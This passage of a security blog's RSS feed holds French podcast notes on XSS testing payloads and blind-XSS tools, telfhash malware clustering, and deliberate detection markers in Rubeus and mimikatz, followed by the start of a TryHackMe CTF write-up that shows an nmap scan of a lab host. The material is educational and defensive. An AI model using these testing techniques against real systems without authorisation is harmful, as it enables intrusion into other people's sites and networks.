type="text/css"><script src="/js/folder.js" type="text/javascript" async></script>]]>
      </content:encoded>
    </item>
    <item>
      <title>Service Hacktion - Notes attachées au balado S01E07 - Pourquoi il ne faut pas utiliser alert(1) pour les XSS</title>
      <link>https://blog.raw.pm/fr/Service-Hacktion-S01E07-XSS-alert-1/</link>
      <description>
        <![CDATA[<table>
<thead>
<tr>
<th>Saison</th>
<th>Épisode</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>7</td>
</tr>
</tbody>
</table>
<iframe titl]]>
      </description>
      <author>Alexandre ZANNI</author>
      <category domain="https://blog.raw.pm/categories/security/">security</category>
      <category domain="https://blog.raw.pm/tags/podcast/">podcast</category>
      <category domain="https://blog.raw.pm/tags/balado/">balado</category>
      <category domain="https://blog.raw.pm/tags/xss/">xss</category>
      <pubDate>Tue, 20 Feb 2024 23:20:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<table><thead><tr><th>Saison</th><th>Épisode</th></tr></thead><tbody><tr><td>1</td><td>7</td></tr></tbody></table><iframe title="Spotify Embed: Service Hacktion" style="border-radius: 12px" width="624" height="351" frameborder="0" allowfullscreen="" allow="autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture" loading="lazy" src="https://open.spotify.com/embed/show/2cvqgxJWv3mrwIWvR39Kyk/video?utm_source=oembed"></iframe><ul><li><a href="https://open.spotify.com/episode/2U4JBwqmarqnhdQewOtFdF">Spotify</a></li><li><a href="https://www.deezer.com/fr/episode/606596682">Deezer</a></li><li><a href="https://youtu.be/35oBwOwLu9Q">Youtube</a></li><li><a href="https://music.youtube.com/watch?v=35oBwOwLu9Q">Youtube Music</a></li><li><a href="https://music.amazon.fr/podcasts/985ea8b9-30bf-4145-a08a-1ecdc021f695/episodes/e543c867-a65d-443b-9ae7-99a1e45c2437/service-hacktion-s01e07---pourquoi-il-ne-faut-pas-utiliser-alert-1-pour-les-xss">Amazon Music</a></li><li><a href="https://podcasts.google.com/feed/aHR0cHM6Ly9hbmNob3IuZm0vcy9lZjcwNWIzMC9wb2RjYXN0L3Jzcw/episode/NjFiNTY0ZTUtNGM0Yy00YjY3LWJkYjEtNTkzZmRhNTY0MTNh">Google Podcast</a></li><li><a href="https://podcasts.apple.com/fr/podcast/s01e07-pourquoi-il-ne-faut-pas-utiliser-alert-1-pour-les-xss/id1725734663?i=1000646429520">Apple Podcast</a></li><li><a href="https://podcastindex.org/podcast/6727486?episode=19454098140">Podcast Index</a></li><li><a href="https://podcloud.fr/podcast/service-hacktion/episode/s01e07-pourquoi-il-ne-faut-pas-utiliser-alert-1-pour-les-xss">podCloud</a></li><li><a href="https://www.podchaser.com/podcasts/service-hacktion-5564666/episodes/s01e07-pourquoi-il-ne-faut-pas-201528024">Podchaser</a></li><li><a href="https://podtail.com/podcast/service-hacktion/s01e07-pourquoi-il-ne-faut-pas-utiliser-alert-1-po/">podtail</a></li><li><a href="https://podcasts-francais.fr/podcast/service-hacktion/s01e07-pourquoi-il-ne-faut-pas-utiliser-alert-1-po">Podcasts Français</a></li><li><a href="https://www.vodio.fr/vodiotheque/i/rss-959-61b564e5-4c4c-4b67-bdb1-593fda56413a/s01e07-pourquoi-il-ne-faut-pas-utiliser-alert-1-pour-les-xss/">Vodio</a></li><li><a href="https://www.spreaker.com/episode/s01e07-pourquoi-il-ne-faut-pas-utiliser-alert-1-pour-les-xss--58894164">Spreaker</a></li></ul><h2 id="Notes">Notes<a class="header-anchor" href="#Notes">#</a></h2><p>Avantages <code>alert()</code> :</p><ul><li>Facilement visible</li></ul><p>Pas le <code>1</code> :</p><ul><li>Ça ne sert à rien</li><li>On ne sait pas d'où ça vient, si on a un formulaire avec 10 champs et qu'on a 5 alertes avec 1 qui s'affichent, quels étaient les champs vulnérables ?<ul><li>Plutôt utiliser le nom de champ d'origine et la page</li><li>Une chaine de caractère unique pour facilement chercher</li></ul></li><li>Dans le cas d'un domaine bac à sable, on ne sait pas de quel domaine provient la XSS. Iframe bac à sable ?<ul><li>Plutôt utiliser <code>document.domain</code> ou <code>window.origin</code></li><li>Hors périmètre (prime aux bogues) ?</li><li>Pas d'impact (cookie, SOP) ?</li></ul></li></ul><p>Pas le <code>alert()</code> :</p><ul><li>Quand la charge utile est réfléchie 89 fois, il va falloir cliquer 89 fois sur ok</li><li>Si la XSS est stockée et qu'on a pas les droits pour la supprimer ?</li><li>Si on est en env. de prod. et que les clients la voient ?</li><li>Souvent sur liste noire d'un WAF</li><li>Privilégier <code>console.log()</code> pour répondre à ces problématiques</li></ul><p>La part d'ombre, déclenchement en aveugle ?</p><ul><li>Formulaire de contact</li><li>Ticket de support</li><li>Interface d'administration</li><li>En-tête <code>Referer</code> ou <code>User-Agent</code> ➡️ Analyse de contenu</li><li>Réfléchie dans une autre application qui utilise la même BDD ou l'API ou application mobile</li><li><a href="https://github.com/mandatoryprogrammer/xsshunter-express">XSS Hunter Express</a>, app. web, pas maintenu</li><li><a href="https://github.com/LewisArdern/bXSS">bXSS</a>, notifications (courriel, chats), peu maintenu</li><li><a href="https://github.com/ssl/ezXSS">ezXSS</a>, app. web + notifications, maintenu</li></ul><p>Ressources :</p><ul><li><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#identify-an-xss-endpoint">PayloadsAllTheThings - XSS - Identify an XSS endpoint</a></li><li><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#blind-xss">PayloadsAllTheThings - XSS - Blind XSS</a></li><li><a href="https://www.youtube.com/watch?v=KHwVjzWei1c">LiveOverflow - DO NOT USE alert(1) for XSS (vidéo)</a></li><li><a href="https://liveoverflow.com/do-not-use-alert-1-in-xss/">LiveOverflow - DO NOT USE alert(1) for XSS (article)</a></li></ul><link rel="stylesheet" href="/css/folder.css" type="text/css"><script src="/js/folder.js" type="text/javascript" async></script>]]>
      </content:encoded>
    </item>
    <item>
      <title>Service Hacktion - Notes attachées au balado S01E06 - Identifier les familles de maliciel avec Telfhash (Trend Micro ELF Hash)</title>
      <link>https://blog.raw.pm/fr/Service-Hacktion-S01E06-telfhash/</link>
      <description>
        <![CDATA[<table>
<thead>
<tr>
<th>Saison</th>
<th>Épisode</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>6</td>
</tr>
</tbody>
</table>
<iframe titl]]>
      </description>
      <author>Alexandre ZANNI</author>
      <category domain="https://blog.raw.pm/categories/security/">security</category>
      <category domain="https://blog.raw.pm/tags/podcast/">podcast</category>
      <category domain="https://blog.raw.pm/tags/balado/">balado</category>
      <category domain="https://blog.raw.pm/tags/menace/">menace</category>
      <category domain="https://blog.raw.pm/tags/maliciel/">maliciel</category>
      <category domain="https://blog.raw.pm/tags/hachage/">hachage</category>
      <pubDate>Sun, 18 Feb 2024 18:02:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<table><thead><tr><th>Saison</th><th>Épisode</th></tr></thead><tbody><tr><td>1</td><td>6</td></tr></tbody></table><iframe title="Spotify Embed: Service Hacktion" style="border-radius: 12px" width="624" height="351" frameborder="0" allowfullscreen="" allow="autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture" loading="lazy" src="https://open.spotify.com/embed/show/2cvqgxJWv3mrwIWvR39Kyk/video?utm_source=oembed"></iframe><ul><li><a href="https://open.spotify.com/episode/0fy8gnY96cWtuA7JkF9FMF">Spotify</a></li><li><a href="https://www.deezer.com/fr/episode/606596692">Deezer</a></li><li><a href="https://youtu.be/Qzi4fV2UD9o">Youtube</a></li><li><a href="https://music.youtube.com/watch?v=Qzi4fV2UD9o">Youtube Music</a></li><li><a href="https://music.amazon.fr/podcasts/985ea8b9-30bf-4145-a08a-1ecdc021f695/episodes/65ff16d9-b2aa-4d93-ab37-82370843ce97/service-hacktion-s01e06---identifier-les-familles-de-maliciel-avec-telfhash-trend-micro-elf-hash">Amazon Music</a></li><li><a href="https://podcasts.google.com/feed/aHR0cHM6Ly9hbmNob3IuZm0vcy9lZjcwNWIzMC9wb2RjYXN0L3Jzcw/episode/MmM2NGEwOWEtMGNjMS00NmY5LWEzMjQtZWU5NjVkMGU3ODhj">Google Podcast</a></li><li><a href="https://podcasts.apple.com/us/podcast/s01e06-identifier-les-familles-de-maliciel-avec/id1725734663?i=1000645769374">Apple Podcast</a></li><li><a href="https://podcastindex.org/podcast/6727486?episode=19313874182">Podcast Index</a></li><li><a href="https://podcloud.fr/podcast/service-hacktion/episode/s01e06-identifier-les-familles-de-maliciel-avec-telfhash-trend-micro-elf-hash">podCloud</a></li><li><a href="https://www.podchaser.com/podcasts/service-hacktion-5564666/episodes/s01e06-identifier-les-familles-201061376">Podchaser</a></li><li><a href="https://podtail.com/podcast/service-hacktion/s01e06-identifier-les-familles-de-maliciel-avec-te/">podtail</a></li><li><a href="https://podcasts-francais.fr/podcast/service-hacktion/s01e06-identifier-les-familles-de-maliciel-avec-te">Podcasts Français</a></li><li><a href="https://www.vodio.fr/vodiotheque/i/rss-959-2c64a09a-0cc1-46f9-a324-ee965d0e788c/s01e06-identifier-les-familles-de-maliciel-avec-telfhash-trend-micro-elf-hash/">Vodio</a></li><li><a href="https://www.spreaker.com/episode/s01e06-identifier-les-familles-de-maliciel-avec-telfhash-trend-micro-elf-hash--58894163">Spreaker</a></li></ul><h2 id="Lexique">Lexique<a class="header-anchor" href="#Lexique">#</a></h2><ul><li><strong>algorithme de hachage</strong> - Fonction mathématique qui permet la création d'un haché ou code de hachage en transformant un groupe de données de taille variable en un code unique de taille fixe.</li><li><strong>haché</strong> ou <strong>code de hachage</strong> - Résultat d'une fonction ou d'un algorithme de hachage cryptographique.</li></ul><h2 id="Introduction">Introduction<a class="header-anchor" href="#Introduction">#</a></h2><p><strong>telfhash</strong> pour <em>Trend Micro ELF Hash</em> est un haché de symboles pour les fichiers ELF, tout comme <code>imphash</code> est un haché d'importations pour les fichiers PE. Avec telfhash, on peut regrouper les fichiers ELF par similarité sur la base des symboles. Cela est particulièrement utile pour regrouper des échantillons malveillants. Si un échantillon n'a pas de symboles, telfhash utilise ses destinations d'adresses d'appel pour émuler une liste de symboles.</p><p>telfhash utilise <strong>TLSH</strong> (<em>Trend Micro Locality Sensitive Hash</em>) pour générer le code de hachage.</p><p><em>Source : <a href="https://github.com/trendmicro/telfhash">trendmicro/telfhash</a></em></p><p>TLSH est une bibliothèque de correspondance approximative (<em>fuzzy matching</em> en anglais). À partir d'un flux d'octets d'une longueur minimale de 50 octets, TLSH génère un haché qui peut être utilisée pour des comparaisons de similarité. Des objets similaires auront des hachés similaires, ce qui permet de détecter des objets similaires en comparant leurs hachés. Il convient de noter que le flux d'octets doit être suffisamment complexe. Par exemple, un flux d'octets identiques ne générera pas de haché.</p><p><em>Source : <a href="https://github.com/trendmicro/tlsh">trendmicro/tlsh</a></em></p><h2 id="Details">Details<a class="header-anchor" href="#Details">#</a></h2><p>La différence avec un algorithme de hachage classique, pour lequel des objets similaires auront des hachés très différents, avec telfhash des objets similaires auront des hachés similaires.</p><p>Même si les créateurs de logiciels malveillants ajoutent de nouvelles fonctionnalités à leurs échantillons malveillants en ajoutant ou en important de nouvelles fonctions de bibliothèque, le haché telfhash restera proche de l'original et permettra toujours de déterminer si les échantillons de logiciels malveillants appartiennent à la même famille.</p><p>Actuellement, telfhash prend en charge les architectures x86, x86-64, ARM et MIPS, qui couvrent la majorité des échantillons de logiciels malveillants IoT et le haché est agnostique de l'architecture.</p><p>Le haché telfhash est affiché sur VirusTotal et les utilisateurs de VirusTotal Intelligence cliquer dessus pour trouver les autres binaires ELF similaires.</p><h2 id="Ressources">Ressources<a class="header-anchor" href="#Ressources">#</a></h2><ul><li><a href="https://www.trendmicro.com/en_us/research/20/d/grouping-linux-iot-malware-samples-with-trend-micro-elf-hash.html">Historique et justifications</a></li><li><a href="https://documents.trendmicro.com/assets/pdf/TB_Telfhash-%20An%20Algorithm%20That%20Finds%20Similar%20Malicious%20ELF%20Files%20Used%20in%20Linux%20IoT%20Malware.pdf">Détails techniques</a></li><li><a href="https://www.trendmicro.com/en_us/research/20/j/virustotal-now-supports-trend-micro-elf-hash.html">Support VirusTotal</a></li></ul><link rel="stylesheet" href="/css/folder.css" type="text/css"><script src="/js/folder.js" type="text/javascript" async></script>]]>
      </content:encoded>
    </item>
    <item>
      <title>Service Hacktion - Notes attachées au balado S01E05 - Erreurs volontaires dans les Preuves de Concept et les outils offensifs</title>
      <link>https://blog.raw.pm/fr/Service-Hacktion-S01E05-erreurs-volontaires/</link>
      <description>
        <![CDATA[<table>
<thead>
<tr>
<th>Saison</th>
<th>Épisode</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>5</td>
</tr>
</tbody>
</table>
<iframe titl]]>
      </description>
      <author>Alexandre ZANNI</author>
      <category domain="https://blog.raw.pm/categories/security/">security</category>
      <category domain="https://blog.raw.pm/tags/web/">web</category>
      <category domain="https://blog.raw.pm/tags/podcast/">podcast</category>
      <category domain="https://blog.raw.pm/tags/balado/">balado</category>
      <category domain="https://blog.raw.pm/tags/pdc/">pdc</category>
      <category domain="https://blog.raw.pm/tags/poc/">poc</category>
      <category domain="https://blog.raw.pm/tags/outils/">outils</category>
      <pubDate>Fri, 09 Feb 2024 00:53:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<table><thead><tr><th>Saison</th><th>Épisode</th></tr></thead><tbody><tr><td>1</td><td>5</td></tr></tbody></table><iframe title="Spotify Embed: Service Hacktion" style="border-radius: 12px" width="624" height="351" frameborder="0" allowfullscreen="" allow="autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture" loading="lazy" src="https://open.spotify.com/embed/show/2cvqgxJWv3mrwIWvR39Kyk/video?utm_source=oembed"></iframe><ul><li><a href="https://open.spotify.com/episode/5G1lszJ7ya0aNbzz1CBLns">Spotify</a></li><li><a href="https://www.deezer.com/fr/episode/601840152">Deezer</a></li><li><a href="https://youtu.be/smgvkZYCz98">Youtube</a></li><li><a href="https://music.youtube.com/watch?v=smgvkZYCz98">Youtube Music</a></li><li><a href="https://music.amazon.fr/podcasts/985ea8b9-30bf-4145-a08a-1ecdc021f695/episodes/e8d3cc6d-4b1a-494e-be71-56d3ba23faea/service-hacktion-s01e05---erreurs-volontaires-dans-les-preuves-de-concept-et-les-outils-offensifs">Amazon Music</a></li><li><a href="https://podcasts.google.com/feed/aHR0cHM6Ly9hbmNob3IuZm0vcy9lZjcwNWIzMC9wb2RjYXN0L3Jzcw/episode/ZGRhOTBjY2ItZWY4Mi00NjBlLWFiYjQtM2ZiZWRhM2VmODEw">Google Podcast</a></li><li><a href="https://podcasts.apple.com/us/podcast/s01e05-erreurs-volontaires-dans-les-preuves-de/id1725734663?i=1000644791650">Apple Podcast</a></li><li><a href="https://podcastindex.org/podcast/6727486?episode=19034423119">Podcast Index</a></li><li><a href="https://podcloud.fr/podcast/service-hacktion/episode/s01e05-erreurs-volontaires-dans-les-preuves-de-concept-et-les-outils-offensifs">podCloud</a></li><li><a href="https://www.podchaser.com/podcasts/service-hacktion-5564666/episodes/s01e05-erreurs-volontaires-dan-200271051">Podchaser</a></li><li><a href="https://podtail.com/podcast/service-hacktion/s01e05-erreurs-volontaires-dans-les-preuves-de-con/">podtail</a></li><li><a href="https://podcasts-francais.fr/podcast/service-hacktion/s01e05-erreurs-volontaires-dans-les-preuves-de-con">Podcasts Français</a></li><li><a href="https://www.vodio.fr/vodiotheque/i/rss-959-dda90ccb-ef82-460e-abb4-3fbeda3ef810/s01e05-erreurs-volontaires-dans-les-preuves-de-concept-et-les-outils-offensifs/">Vodio</a></li><li><a href="https://www.spreaker.com/episode/s01e05-erreurs-volontaires-dans-les-preuves-de-concept-et-les-outils-offensifs--58700362">Spreaker</a></li></ul><h2 id="Lexique">Lexique<a class="header-anchor" href="#Lexique">#</a></h2><ul><li><strong>PdC</strong> - <em>Preuves de Concept</em> - Production d'un code source permettant de prouver la présence ou l'exploitabilité d'une vulnérabilité dans un système informatique.</li><li><strong>IdC</strong> - <em>Indicateur de Compromission</em> - Artefact observé sur un système informatique indiquant une intrusion informatique avec un haut niveau de certitude.</li><li><strong>Piratin</strong> - Pirate amateur à la recherche d'une intrusion facile, souvent irresponsable et sans éthique, qui utilise des scripts déjà existants, disponibles gratuitement sur le Net, pour effectuer ses attaques malveillantes. (<a href="https://vitrinelinguistique.oqlf.gouv.qc.ca/fiche-gdt/fiche/8872869/pirate-adolescent">source</a>)</li></ul><h2 id="Exemple-n°1-Rubeus-nom-du-processus-de-connexion">Exemple n°1 - Rubeus, nom du processus de connexion<a class="header-anchor" href="#Exemple-n°1-Rubeus-nom-du-processus-de-connexion">#</a></h2><p><code>User32LogonProcesss</code> (avec 3 <code>s</code>) avec un commentaire surprenant :</p><figure class="shiki cs"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#C678DD">public</span><span style="color:#C678DD"> static</span><span style="color:#E5C07B"> IntPtr</span><span style="color:#61AFEF"> LsaRegisterLogonProcessHelper</span><span style="color:#ABB2BF">()</span></span><span class="line"><span style="color:#ABB2BF">{</span></span><span class="line"><span style="color:#7F848E;font-style:italic">    // helper that establishes a connection to the LSA server and verifies that the caller is a logon application</span></span><span class="line"><span style="color:#7F848E;font-style:italic">    //  used for Kerberos ticket enumeration for ALL users</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">    var</span><span style="color:#E06C75"> logonProcessName</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> "User32LogonProcesss"</span><span style="color:#ABB2BF">; </span><span style="color:#7F848E;font-style:italic">// yes I know this is "weird" ;)</span></span></code></pre></div></div></figure><p>Visible dans les journaux d'évènement Windows.</p><p>Supprimé quelques heures après avoir été exposé dans un tweet, avec un message de transaction lui aussi évocateur :</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span> Removed call to LsaRegisterLogonProcess</span></span><span class="line"><span></span></span><span class="line"><span>-Removed call to `LsaRegisterLogonProcess` as it was ultimately unnecessary.</span></span><span class="line"><span></span></span><span class="line"><span>So long User32LogonProcesss IOC, we hardly knew thee :)</span></span></code></pre></div></div></figure><p>Référence :</p><ul><li><a href="https://twitter.com/_RastaMouse/status/1747636529613197757">Twitter - mise en avant</a>, 2024-01-17 16:06</li><li><a href="https://github.com/GhostPack/Rubeus/commit/b303d1c9d8076bc4b5f97d8151fe3c39c42e50d6">Github - transaction de suppression</a>, 2024-01-17 19:42</li><li><a href="https://github.com/GhostPack/Rubeus/blob/4a2fc8a3d99eb45f884486d86f9fd4552b5544d0/Rubeus/lib/LSA.cs#L62">Github - code avant modification</a></li><li><a href="https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1">SpecterOps - mise en avant lors d'une étude AD CS</a></li><li><a href="https://help.fortinet.com/fsiem/Public_Resource_Access/7_1_0/rules/PH_RULE_Register_new_Logon_Process_by_Rubeus.htm">Fortinet - Règle de détection</a></li><li><a href="https://detection.fyi/sigmahq/sigma/windows/builtin/security/win_security_register_new_logon_process_by_rubeus/">detection.fyi - Règle de détection</a></li><li><a href="https://github.com/search?q=repo%3Amandiant%2Fred_team_tool_countermeasures%20User32LogonProcesss&amp;type=code">FireEye - Règle de détection Snort</a></li><li><a href="https://blog.securitybreak.io/100daysofyara-challenge-04c966eab1ae">SecurityBreak - Règle de détection Yara</a></li></ul><h2 id="Exemple-n°2-mimikatz-domaine-de-connexion">Exemple n°2 - mimikatz, domaine de connexion<a class="header-anchor" href="#Exemple-n°2-mimikatz-domaine-de-connexion">#</a></h2><figure class="shiki c"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">KIWI_NEVERTIME</span><span style="color:#ABB2BF">(</span><span style="color:#C678DD">&#x26;</span><span style="color:#E06C75">validationInfo.PasswordMustChange</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#61AFEF">RtlInitUnicodeString</span><span style="color:#ABB2BF">(</span><span style="color:#C678DD">&#x26;</span><span style="color:#E06C75">validationInfo.LogonDomainName</span><span style="color:#ABB2BF">,</span><span style="color:#E06C75"> L</span><span style="color:#98C379">"&#x3C;3 eo.oe ~ ANSSI E>"</span><span style="color:#ABB2BF">);</span></span><span class="line"></span><span class="line"><span style="color:#ABB2BF">validationInfo.EffectiveName</span><span style="color:#C678DD">=</span><span style="color:#ABB2BF"> ticket.ClientName</span><span style="color:#C678DD">-></span><span style="color:#E06C75">Names</span><span style="color:#ABB2BF">[</span><span style="color:#D19A66">0</span><span style="color:#ABB2BF">];</span></span></code></pre></div></div></figure><ul><li><a href="https://twitter.com/cnotin/status/639791642170556416/photo/1">Twitter - mise en avant</a>, 2015-09-04 23:31</li><li><a href="https://github.com/gentilkiwi/mimikatz/issues/16">Github - mise en avant</a>, 2015-10-22</li><li><a href="https://github.com/gentilkiwi/mimikatz/blob/42993f51027a0c47ac60e6483b6fd08ff09e9f47/mimikatz/modules/kerberos/kuhl_m_kerberos.c#L589">Github - code</a></li><li><a href="https://web.archive.org/web/20150702043928/https://cert.ssi.gouv.fr/site/CERTFR-2015-ACT-025/">ANSSI - Bulletin d'actualité CERTFR-2015-ACT-025</a></li><li><a href="https://adsecurity.org/?p=1515">ADsecurity - mise en avant</a></li></ul><h2 id="Exemple-n°3-PdC-EDB">Exemple n°3 - PdC EDB<a class="header-anchor" href="#Exemple-n°3-PdC-EDB">#</a></h2><ul><li>virgules en trop</li><li>guillemet ou parenthèse manquante</li><li>valeurs codées en dur (ex : <code>127.0.0.1</code>)</li><li>indentation ou saut de ligne arbitraire</li></ul><h2 id="Questions">Questions<a class="header-anchor" href="#Questions">#</a></h2><ul><li>Doit-on placer ce genre d'Indicateur de Compromission dans les PdC ? Contre les <em>piratins</em>.<ul><li>Efficacité ? Combien se font avoir ? Qui surveille ces IdC ?</li><li>Les piratins arrivent-ils réellement à utiliser ce genre d'outil ?</li><li>Les menaces persistantes avancées développent leurs propres outils, relisent et modifient les outils existant de base pour évader les signatures ?</li><li>Le haché du binaire ou les nombreuses chaines de caractères uniques ne sont-elles pas suffisantes ?</li></ul></li><li>Si oui, doit-on placer un indice pour le lecteur attentif ?</li><li>Si l'on découvre ce genre d'IdC, doit-on en faire part publiquement ?<ul><li>Aider les équipes défensives ? Vraiment ? Car ils auront déjà sans doute une règle dans leur outil de détection sans le savoir.</li><li>Risque d'aider les cybercriminels ?</li></ul></li><li>Quand code compilé, ne pas fournir de binaire pré-compilé suffit à repousser les <em>piratins</em> ?<ul><li>Ne prouve pas qu'on a lu le code et sait ce que l'on fait.</li><li>IdC dans le binaire pré-compilé, mais pas dans le code source ?</li></ul></li><li>Il paraît que des groupes soutenus par des états utilisent les binaires pré-compilés, fait exprès ou non ?<ul><li>Simuler des attaquants non avancés ?</li><li>Attaque sous faux drapeau ?</li></ul></li><li>IdC trop connu ? Faux-positif ?</li><li>Pour les outils, obliger de faire confiance à partir d'un certain moment ?<ul><li>Pour un outil d'une taille très conséquente, difficile d'auditer l'ensemble du code ?</li><li>Pour un outil évolue souvent, difficile d'effectuer un suivi des modifications fréquent ?</li><li>Nombre d'outils ?</li><li>Variété des langages de programmation ?</li><li>Qui a déjà lu entièrement le code de nmap ? De netexec ?</li><li>Et les outils propriétaires ? Nessus ? Rétro-ingénieurie ?</li><li>Où situer le curseur de confiance ?<ul><li>PdC -&gt; systématiquement ?</li><li>Outils<ul><li>Selon l'auteur ?</li><li>Selon le niveau d'adoption ?</li><li>Selon les distributions Linux qui empaquètent ?</li></ul></li></ul></li></ul></li></ul><link rel="stylesheet" href="/css/folder.css" type="text/css"><script src="/js/folder.js" type="text/javascript" async></script>]]>
      </content:encoded>
    </item>
    <item>
      <title>The Bandit Surfer - Write-up - TryHackMe</title>
      <link>https://blog.raw.pm/en/TryHackMe-The-Bandit-Surfer-write-up/</link>
      <description>
        <![CDATA[<h1>Information</h1>
<h2 id="Room">Room<a class="header-anchor" href="#Room">#</a></h2>
<ul>
<li><strong>Name:</strong> The Bandit Surfer</l]]>
      </description>
      <author>Alexandre ZANNI</author>
      <category domain="https://blog.raw.pm/categories/writeups/">writeups</category>
      <category domain="https://blog.raw.pm/tags/security/">security</category>
      <category domain="https://blog.raw.pm/tags/bash/">bash</category>
      <category domain="https://blog.raw.pm/tags/python/">python</category>
      <category domain="https://blog.raw.pm/tags/writeups/">writeups</category>
      <category domain="https://blog.raw.pm/tags/ssrf/">ssrf</category>
      <category domain="https://blog.raw.pm/tags/eop/">eop</category>
      <category domain="https://blog.raw.pm/tags/sqli/">sqli</category>
      <category domain="https://blog.raw.pm/tags/sudo/">sudo</category>
      <category domain="https://blog.raw.pm/tags/thm/">thm</category>
      <category domain="https://blog.raw.pm/tags/lfd/">lfd</category>
      <pubDate>Sun, 28 Jan 2024 23:29:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1>Information</h1><h2 id="Room">Room<a class="header-anchor" href="#Room">#</a></h2><ul><li><strong>Name:</strong> The Bandit Surfer</li><li><strong>Profile:</strong> <a href="https://tryhackme.com/room/surfingyetiiscomingtotown">tryhackme.com</a></li><li><strong>Difficulty:</strong> Hard</li><li><strong>Description</strong>: The Bandit Yeti is surfing to town.</li></ul><p><img src="/images/TryHackMe/surfingyetiiscomingtotown.png" alt="The Bandit Surfer"></p><p>This is the <strong>Side Quest Challenge 4</strong> of <a href="https://tryhackme.com/room/adventofcyber23sidequest">Advent of Cyber '23 Side Quest</a> (advanced bonus challenges alongside <a href="https://tryhackme.com/room/adventofcyber2023">Advent of Cyber 2023</a>).</p><h1>Write-up</h1><h2 id="Overview">Overview<a class="header-anchor" href="#Overview">#</a></h2><p>Install tools used in this WU on BlackArch Linux:</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>$ sudo pacman -S nmap ffuf nuclei ruby curl python</span></span></code></pre></div></div></figure><div style="width: [width];margin: 0 auto">    <canvas id="chart5072" style="height: [height]px"></canvas></div><script src="https://cdn.jsdelivr.net/npm/chart.js@2.9.3/dist/Chart.min.js"></script><script type="text/javascript">    var ctx = document.getElementById('chart5072').getContext('2d');    var options = {  type: 'polarArea',  responsive: false,  data: {    labels: ['Enumeration', 'Real-Life', 'Well-Known Vulnerabilities', 'Custom Exploitation', 'CTF-Like', 'Scripting'],    datasets: [{      label: 'Box rating',      backgroundColor: [        'rgba(54, 163, 235, 0.5)',        'rgba(255, 99, 132, 0.5)',        'rgba(75, 192, 192, 0.5)',        'rgba(255, 205, 86, 0.5)',        'rgba(68, 205, 58, 0.5)',        'rgba(244, 81, 30, 0.5)'      ],      borderColor: [        'rgba(54, 163, 235, 1)',        'rgba(255, 99, 132, 1)',        'rgba(75, 192, 192, 1)',        'rgba(255, 205, 86, 1)',        'rgba(68, 205, 58, 1)',        'rgba(244, 81, 30, 1)'      ],      data: [        3,        1,        2,        4,        5,        1      ]    }]  },  options: {    legend: {      position: 'right',      labels: {        fontSize: 25      }    },    scale: {      ticks: {        beginAtZero: true,        stepSize: 1,        suggestedMax: 5      }    }  }};;    new Chart(ctx, options);</script><h2 id="Challenge">Challenge<a class="header-anchor" href="#Challenge">#</a></h2><h3 id="Network-enumeration">Network enumeration<a class="header-anchor" href="#Network-enumeration">#</a></h3><p>Port and service scan with nmap:</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span># Nmap 7.94 scan initiated Sun Jan 28 17:57:18 2024 as: nmap -sSVC -T4 -p- -v --open --reason -oA nmap 10.10.69.64</span></span><span class="line"><span>Nmap scan report for 10.10.69.64</span></span><span class="line"><span>Host is up, received echo-reply ttl 63 (0.14s latency).</span></span><span class="line"><span>Not shown: 65509 closed tcp ports (reset), 24 filtered tcp ports (no-response)</span></span><span class="line"><span>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit</span></span><span class="line"><span>PORT     STATE SERVICE  REASON         VERSION</span></span><span class="line"><span>22/tcp   open  ssh      syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)</span></span><span class="line"><span>| ssh-hostkey:</span></span><span class="line"><span>|   3072 e8:43:37:a0:ac:a6:22:57:53:00:6d:75:51:db:bc:a9 (RSA)</span></span><span class="line"><span>|   256 25:16:18:74:8c:06:55:16:7e:20:84:89:ae:90:9a:f6 (ECDSA)</span></span><span class="line"><span>|_  256 fc:0b:0f:e2:c0:00:bb:89:a1:8f:de:71:9d:ad:d1:63 (ED25519)</span></span><span class="line"><span>8000/tcp open  http-alt syn-ack ttl 63 Werkzeug/3.0.0 Python/3.8.10</span></span><span class="line"><span>| http-methods:</span></span><span class="line"><span>|_  Supported Methods: GET OPTIONS HEAD</span></span><span class="line"><span>|_http-title: The BFG</span></span><span class="line"><span>| fingerprint-strings:</span></span><span class="line"><span>|   FourOhFourRequest:</span></span><span class="line"><span>|     HTTP/1.1 404 NOT FOUND</span></span><span class="line"><span>|     Server: Werkzeug/3.0.0 Python/3.8.10</span></span><span class="line"><span>|     Date: Sun, 28 Jan 2024 16:58:18 GMT</span></span><span class="line"><span>|     Content-Type: text/html; charset=utf-8</span></span><span class="line"><span>|     Content-Length: 207</span></span><span class="line"><span>|     Connection: close</span></span><span class="line"><span>|     &#x3C;!doctype html></span></span><span class="line"><span>|     &#x3C;html lang=en></span></span><span class="line"><span>|     &#x3C;title>404 Not Found&#x3C;/title></span></span><span class="line"><span>|     &#x3C;h1>Not Found&#x3C;/h1></span></span><span class="line"><span>|     &#x3C;p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.&#x3C;/p></span></span><span class="line"><span>|   GetRequest:</span></span><span class="line"><span>|     HTTP/1.1 200 OK</span></span><span 